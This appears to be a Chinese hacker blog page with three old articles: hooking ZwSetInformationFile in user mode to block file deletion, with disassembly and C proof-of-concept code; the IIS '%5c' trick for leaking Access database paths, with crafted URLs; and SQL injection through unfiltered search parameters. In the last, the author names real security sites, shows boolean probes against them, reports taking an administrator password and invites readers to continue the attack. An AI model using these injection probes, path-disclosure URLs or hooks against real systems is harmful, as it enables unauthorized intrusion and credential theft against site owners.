0%

简单实现文件防删除,说简单是因为没有用很底层的技术,例如文件驱动之类。我只用最简单的方法实现了, 使用 ring3 的API hook 技术。随着技术的发展这种技术已经过不了很多的主动防御技术了。主要是思路和方法和分析过程。(高手飘过)

ring3 下挂钩 API 基本上也就是修改导入表,和Inline hook 修改前5个字节这几种方法。挂钩Native API 没有什么区别,也就是多声明几个结构和变量类型。

关于挂钩API 请参见:www.xfocus.net/articles/200403/681.html

文件删除的ring3 API 是DeleteFile, 此API 存在于kernel32.dll 中,用OD分析一下。(哪个都可以,IDA更不用说)

DeleteFileA 的反汇编代码:

1
2
3
4
5
6
7
8
9
10
11
7C80D2FB >/$ 8BFF mov edi, edi
7C80D2FD |. 55 push ebp
7C80D2FE |. 8BEC mov ebp, esp
7C80D300 |. FF75 08 push dword ptr [ebp+8]
7C80D303 |. E8 17790100 call 7C824C1F
7C80D308 |. 85C0 test eax, eax
7C80D30A |. 74 08 je short 7C80D314
7C80D30C |. FF70 04 push dword ptr [eax+4] ; /FileName
7C80D30F |. E8 3D170000 call DeleteFileW ; \DeleteFileW
7C80D314 |> 5D pop ebp
7C80D315 \. C2 0400 retn 4

可以得到一个流程 DeleteFileA –> DeleteFileW

DeleteFileW 的反汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
7C80EA51 > $ 8BFF mov edi, edi
7C80EA53 . 55 push ebp
7C80EA54 . 8BEC mov ebp, esp
7C80EA56 . 83EC 50 sub esp, 50
7C80EA59 . 56 push esi
7C80EA5A . 8D45 C8 lea eax, dword ptr [ebp-38]
7C80EA5D . 50 push eax
7C80EA5E . 33F6 xor esi, esi
7C80EA60 . 56 push esi
7C80EA61 . 8D45 E0 lea eax, dword ptr [ebp-20]
7C80EA64 . 50 push eax
7C80EA65 . FF75 08 push dword ptr [ebp+8]
7C80EA68 . C645 FF 00 mov byte ptr [ebp-1], 0
7C80EA6C . FF15 5411807C call dword ptr [<&ntdll.RtlDosPathNam>; ntdll.RtlDosPathNameToRelativeNtPathName_U
7C80EA72 . 84C0 test al, al
7C80EA74 . 0F84 FBCC0200 je 7C83B775
7C80EA7A . 8B45 E4 mov eax, dword ptr [ebp-1C]
7C80EA7D . 8945 F4 mov dword ptr [ebp-C], eax
7C80EA80 . 8B45 C8 mov eax, dword ptr [ebp-38]
7C80EA83 . 66:3BC6 cmp ax, si
7C80EA86 . 0F85 E9660200 jnz 7C835175
7C80EA8C . 8975 D0 mov dword ptr [ebp-30], esi
7C80EA8F > 8B45 D0 mov eax, dword ptr [ebp-30]
7C80EA92 . 53 push ebx
7C80EA93 . 57 push edi
7C80EA94 . 8945 B4 mov dword ptr [ebp-4C], eax
7C80EA97 . 8D45 E0 lea eax, dword ptr [ebp-20]
7C80EA9A . 8945 B8 mov dword ptr [ebp-48], eax
7C80EA9D . BF 40402000 mov edi, 204040
7C80EAA2 . 57 push edi
7C80EAA3 . 6A 07 push 7
7C80EAA5 . 8D45 E8 lea eax, dword ptr [ebp-18]
7C80EAA8 . 50 push eax
7C80EAA9 . 8D45 B0 lea eax, dword ptr [ebp-50]
7C80EAAC . 50 push eax
7C80EAAD . 68 80000100 push 10080 ; UNICODE "ocuments and
7C80EAB2 . 8D45 F8 lea eax, dword ptr [ebp-8]
7C80EAB5 . 8975 C0 mov dword ptr [ebp-40], esi
7C80EAB8 . 8975 C4 mov dword ptr [ebp-3C], esi
7C80EABB . 8B35 1410807C mov esi, dword ptr [<&ntdll.NtOpenFi>; ntdll.ZwOpenFile
7C80EAC1 . 50 push eax
7C80EAC2 . C745 B0 18000>mov dword ptr [ebp-50], 18
7C80EAC9 . C745 BC 40000>mov dword ptr [ebp-44], 40
7C80EAD0 . FFD6 call esi ; <&ntdll.NtOpenFile>
7C80EAD2 . 8BD8 mov ebx, eax
7C80EAD4 . 85DB test ebx, ebx
7C80EAD6 .^ 0F8C F5F4FFFF jl 7C80DFD1
7C80EADC . 6A 23 push 23 ; /InfoClass = FileAttributeTagInformation
7C80EADE . 6A 08 push 8 ; |Bufsize = 8
7C80EAE0 . 8D45 D8 lea eax, dword ptr [ebp-28] ; |
7C80EAE3 . 50 push eax ; |Buffer
7C80EAE4 . 8D45 E8 lea eax, dword ptr [ebp-18] ; |
7C80EAE7 . 50 push eax ; |pStatusBlock
7C80EAE8 . FF75 F8 push dword ptr [ebp-8] ; |hFile
7C80EAEB . FF15 1810807C call dword ptr [<&ntdll.NtQueryInform>; \ZwQueryInformationFile
7C80EAF1 . 8BD8 mov ebx, eax
7C80EAF3 . 85DB test ebx, ebx
7C80EAF5 . 0F8C D5CC0200 jl 7C83B7D0
7C80EAFB . 8B45 D8 mov eax, dword ptr [ebp-28]
7C80EAFE . 25 00040000 and eax, 400
7C80EB03 . 0F85 0ECD0200 jnz 7C83B817
7C80EB09 > 85C0 test eax, eax
7C80EB0B . 0F85 1CCD0200 jnz 7C83B82D
7C80EB11 > 8D45 C8 lea eax, dword ptr [ebp-38]
7C80EB14 . 50 push eax
7C80EB15 . FF15 5011807C call dword ptr [<&ntdll.RtlReleaseRel>; ntdll.RtlReleaseRelativeName
7C80EB1B . FF75 F4 push dword ptr [ebp-C]
7C80EB1E . 64:A1 1800000>mov eax, dword ptr fs:[18]
7C80EB24 . 8B40 30 mov eax, dword ptr [eax+30]
7C80EB27 . 6A 00 push 0
7C80EB29 . FF70 18 push dword ptr [eax+18]
7C80EB2C . FF15 1010807C call dword ptr [<&ntdll.RtlFreeHeap>] ; ntdll.RtlFreeHeap
7C80EB32 . 6A 0D push 0D ; /InfoClass = FileDispositionInformation
7C80EB34 . 6A 01 push 1 ; |Bufsize = 1
7C80EB36 . 8D45 0B lea eax, dword ptr [ebp+B] ; |
7C80EB39 . 50 push eax ; |Buffer
7C80EB3A . 8D45 E8 lea eax, dword ptr [ebp-18] ; |
7C80EB3D . 50 push eax ; |pStatusBlock
7C80EB3E . FF75 F8 push dword ptr [ebp-8] ; |hFile
7C80EB41 . C645 0B 01 mov byte ptr [ebp+B], 1 ; |
7C80EB45 . FF15 3010807C call dword ptr [<&ntdll.NtSetInformat>; \ntdll.ZwSetInformationFile
7C80EB4B . FF75 F8 push dword ptr [ebp-8] ; /Handle
7C80EB4E . 8BF0 mov esi, eax ; |
7C80EB50 . FF15 3810807C call dword ptr [<&ntdll.NtClose>] ; \ZwClose
7C80EB56 . 85F6 test esi, esi
7C80EB58 .^ 0F8C 1F91FFFF jl 7C807C7D
7C80EB5E . 33C0 xor eax, eax
7C80EB60 . 40 inc eax
7C80EB61 > 5F pop edi
7C80EB62 . 5B pop ebx
7C80EB63 > 5E pop esi
7C80EB64 . C9 leave
7C80EB65 . C2 0400 retn 4

得到一个流程 DeleteFileA –> DeleteFileW –> ntdll.ZwSetInformationFile,因此我们只要挂钩了ZwSetInformationFile 就可以简单实现目标了。这里写出了新的 ZwSetInformationFile 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
typedef LONG NTSTATUS;
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef struct _IO_STATUS_BLOCK {
DWORD Status;
ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef enum _FILE_INFORMATION_CLASS {
// end_wdm
FileDirectoryInformation = 1,
FileFullDirectoryInformation, // 2
FileBothDirectoryInformation, // 3
FileBasicInformation, // 4 wdm
FileStandardInformation, // 5 wdm
FileInternalInformation, // 6
FileEaInformation, // 7
FileAccessInformation, // 8
FileNameInformation, // 9
FileRenameInformation, // 10
FileLinkInformation, // 11
FileNamesInformation, // 12
FileDispositionInformation, // 13
FilePositionInformation, // 14 wdm
FileFullEaInformation, // 15
FileModeInformation, // 16
FileAlignmentInformation, // 17
FileAllInformation, // 18
FileAllocationInformation, // 19
FileEndOfFileInformation, // 20 wdm
FileAlternateNameInformation, // 21
FileStreamInformation, // 22
FilePipeInformation, // 23
FilePipeLocalInformation, // 24
FilePipeRemoteInformation, // 25
FileMailslotQueryInformation, // 26
FileMailslotSetInformation, // 27
FileCompressionInformation, // 28
FileObjectIdInformation, // 29
FileCompletionInformation, // 30
FileMoveClusterInformation, // 31
FileQuotaInformation, // 32
FileReparsePointInformation, // 33
FileNetworkOpenInformation, // 34
FileAttributeTagInformation, // 35
FileTrackingInformation, // 36
FileMaximumInformation
// begin_wdm
} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS;

typedef struct _FILE_NAME_INFORMATION {
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION;

typedef NTSTATUS (__stdcall *ZWQUERYINFORMATIONFILE)(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN FILE_INFORMATION_CLASS FileInformationClass
);

ZWQUERYINFORMATIONFILE ZwQueryInformationFile;

NTSTATUS __stdcall Hook_ZwSetInformationFile(IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID FileInformation,
IN ULONG FileInformationLength,
IN FILE_INFORMATION_CLASS FileInformationClass)
{
NTSTATUS ntstatus = STATUS_ACCESS_DENIED;

HMODULE hNtdll = GetModuleHandle("ntdll.dll");
ZwQueryInformationFile = (ZWQUERYINFORMATIONFILE)GetProcAddress(hNtdll, "ZwQueryInformationFile");

IO_STATUS_BLOCK ioStatus;
FILE_NAME_INFORMATION * psi = {0};

psi = (FILE_NAME_INFORMATION*)new WCHAR[sizeof(FILE_NAME_INFORMATION) + 1024];
memset(psi, 0, (sizeof(FILE_NAME_INFORMATION) + 1024)*2);
psi->FileNameLength = 1024;

ntstatus = ZwQueryInformationFile(FileHandle, &ioStatus, psi, sizeof(FILE_NAME_INFORMATION) + 1024 * sizeof(WCHAR),

FileNameInformation);

if (ntstatus != STATUS_SUCCESS)
PrintZwError("ZwQueryInformationFile", ntstatus);

ntstatus = STATUS_ACCESS_DENIED;

if( wcsstr(psi->FileName, L"b.txt") == NULL)
ntstatus = ((PFZWSETINFORMATIONFILE)(PROC)g_ZwSetInformationFile)

(FileHandle,IoStatusBlock,FileInformation,FileInformationLength,FileInformationClass);

delete psi;
return ntstatus;


}

这只是一个证明性代码,要实战的兄弟自己动点手吧。

关于%5c的暴库利用想已经不是什么新技术了,原因我只找到含糊的说法:的UNICODE是%5c当提交时,IIS无法正常解析,导致暴库。但我对 http://www.hoky.org 测试成功后(现在已经补上)问过hoky.pro,得知%5c与IIS的设置是有关系的。而在默认设置下是可以暴库的。还有很多人说不成功,我要说的三点:

  1. 一般的错误返回页面是本地IE提供的,所以我们先得关了本地的错误页面,具体在菜单项的‘工具->internet选项->高级->显示友好信息’。
  2. 对方数据库要是Access型。
  3. %5c的暴库需要的是二级目录,一级目录无法成功。如:

http://www.sometips.com%5c1.asp?id=1 不成功
http://www.sometips.com/other%5c1.asp?id=1 成功

好了,上面说的大家都知道,当是废话。在暴库这么好用的东西下,如果一个网站只有一级目录的话,难道就没有办法了吗?说到重点,其实一级目录我们也同样可以成功的,我们可以通过构造一个多级目录来达到暴库的目的。

http://www.target.com/noexists/..%5clist.asp?id=1

这样大家就会有新的惊喜了,呵呵。

补救方法也很简单,在conn.asp里 加入数据库文件的位置后面加上这句:

1
On Error Resume Next

就可以了。


今天在黑基又看到了关于%5c暴库的文章,这招真的很管用,大概10个网站里会有一个会暴库吧。

关于这个漏洞。绿盟有相关的资料:
http://www.nsfocus.net/index.php?act=magazine&do=view&mid=952

呵呵。虽然这个我们这个漏洞呵暴库关系不是很大, 但是明眼人还是看的出相关的地方,IIS 二次解码。大家知道在 url中 \/ 是一样的,也就是说 http://www.example.com/abc/123.asp?id=5http://www.example.com/abc\123.asp?id=5 是一样的。

http://www.example.com/abc%5c123.asp?id=5 经过一次解码后变成 http://www.example.com/abc\123.asp?id=5 这里是不会出错的。

而经过 IIS 二次解码后就变成 http://www.example.com/abc%5c123.asp?id=5, 如果数据库连接文件用的相对路径的话。HOO, 找不到数据库文件,当然就出错了。还很老实呢,连物理路径都出来了。大家看。

1
2
3
4
5
Microsoft JET Database Engine 错误 '80004005'

'D:\wwwroot\hell\wwwroot\data\abc.asp'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

/blog/conn.asp,行29

这个是我暴 Oblog 暴出来的,这个月的黑防大家都有看吧。(早知道我也去投稿了,我发现的比他早多了,郁闷)
很多人都在分析成功的条件,就象itbbs里的人讨论的一样。(itbbs最近我怎么上不去啊,知道告诉我)

sykkk 认为:

  1. 是数据库连接中没有加入容错代码 所以导致错误不能跳过而活生生的把数据文件连接暴出来
  2. 对方的IIS没有关闭错误提示 只要关了错误提示就算你怎么暴也没有用
  3. 不一定要2级目录 可以自己够造个noexists/..%5C的2级目录
  4. 还有就是 要成功一定要调用到数据库 不一定是5c1.asp?id=1 这种类别的

其实还有一个必要条件他忘了,数据库要相对路径,绝对路径是暴不出来的。还有我补充一点应该是 IIS 4.0 或者 IIS 5.0 ,IIS 6 应该是不行了。

关于二级目录,我同意sykkk的看法,有的人说一定是二级目录,呵呵,我可以告诉大家那是错误的。应该是最靠近的asp文件的那个 “/“ 改成 “%5c”, 只有有调用数据库都有可能暴库。哈哈,还有当然对方要没有屏蔽错误信息,要不然你是肯定看不到的。

总结:%5c暴库成功条件

  1. 对方服务器用的是 IIS 4.0 或 IIS 5.0, 并且没有屏蔽错误信息。
  2. 是数据库连接中没有加入容错代码 所以导致错误不能跳过而活生生的把数据文件连接暴出来 (On Error Resume Next)
  3. 应该是Microsoft JET Database Engine 方式
  4. 数据库文件调用用的是相对路径!!

不一定要求是二级目录。三级也是可以的(我有成功过), 二级目录有时候反倒没成功。至于还有构造二级目录,我是没成功过,嘿嘿,应该是错误的。:)

随便也告诉大家,aspx %5c 也有文章的,运用也很巧妙,想知道就 google吧。^_^

最近sql inject 可是说是红遍了整个中国,不知道多少网站在sql inject 面前轰然倒下,其实 Sql inject 在国外技术已经很成熟了,而国内则是在近一两年内慢慢走向成熟。在一个个惨痛的实例面前,脚本工作者不得不重视起来,最好的例子就是动网了。然而今天脚本是不是就很安全的呢。请看我对几个安全站点的测试结果。结果是令人吃惊的, 影子鹰, 华夏, 黑客动画吧 都存在着这个站内搜索的漏洞。

请看一段常见的站内搜索写法。

例一:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<form name="form4" method="post" action="search.asp">
<tr>
<td height="25"> <div align=center>
<input type="text" name="txtfind" size="18" onMouseOver="javascript:this.select();" value="请输入待查信息" style="border:#333333 1px solid;">
</div></td>
</tr>
<tr>
<td> <div align=center><img height=5 src="../images/left_2.gif" width=186></div></td>
</tr>
<tr>
<td height="30"> <div align=center>
<select name="s1">
<option selected value='0'>所有类别</option><option value='1'>网站新闻</option>
<option value='2'>进阶教程</option>
<option value='3'>安全漏洞</option>
<option value='5'>系统防范</option>
<option value='6'>原创作品</option>
</select>

上面的这段来自影子鹰安全网, 也许看了人说没什么的啊,我也是这么写的,这和sql inject 有什么关系啊。
其实问题就出在这, 搜索类别的值是从客户端获得的,而且没有过滤。那么聪明的你是否想到了什么?

我们可以构造一个url http://www.cnhacker.cn/search.asp?s1=1 得到的结果是:

页面返回正常,得到一大堆的搜索结果。

提交 http://www.cnhacker.cn/search.asp?s1=1 and 1=1 返回正常
提交 http://www.cnhacker.cn/search.asp?s1=1 and 1=2 没有搜索到任何相关文章 ,请重新搜索

哈哈,可以注入!像这些安全站点密码一定n变态,还是用nb跑跑吧。后面也证明了我的想法是正确的密码n变态,还好没手工猜。拿到了管理员的密码,就是找不到后台郁闷。

例二:

1
<a href='Soft_Class.asp?ClassID=11'>安全扫描</a></li><br><li><a href='Soft_Class.asp?ClassID=12'>嗅探监听</a></li><br><li><a href='Soft_Class.asp?ClassID=13'>分析检测</a></li><br><li><a href='Soft_Class.asp?ClassID=14'>字典文档</a></li><br><li><a href='Soft_Class.asp?ClassID=15'>加密破解</a></li><br><li><a href='Soft_Class.asp?ClassID=16'>木马类</a></li><br><li><a href='Soft_Class.asp?ClassID=17'>QQ类</a></li><br><li><a href='Soft_Class.asp?ClassID=18'>综合工具</a></li>

上面代码来自黑客动画吧,令人吃惊的直接就是classID= 根本就没有过滤。分析完上面的代码,和其他的一些代码综合起来, 我们又可以构造这样的url:

http://www.hack58.com/Soft_Search.asp?Field=SoftName&ClassID=8

结果返回也是一定堆的搜索结果。。。

提交 http://www.hack58.com/Soft_Search.asp?Field=SoftName&ClassID=8 and 1=1 返回正常
提交 http://www.hack58.com/Soft_Search.asp?Field=SoftName&ClassID=8 and 1=2 产生错误的可能原因:

HOO,漏洞又出来了!

例三:

来个大家都知道的华夏黑客联盟,前段时间还被黑了一次。还是看代码吧,听说华夏用的是动力的商业版。可以华夏今天又上不去,反正原理是相同的。我把我构造好的url 给大家看

http://www.77169.org/soft1/search.asp?ss_name=winrar&sor=01

接下来要怎么发挥就看你们的了。

总结:这个漏洞应该有一定的普遍性,黑窝里安全站点都有这个问题,更别说是其他站点了。或许有些大虾早就发现了,
小弟就在这献丑一下了,第一次写文章,有所差错在所难免,欢迎和我联系。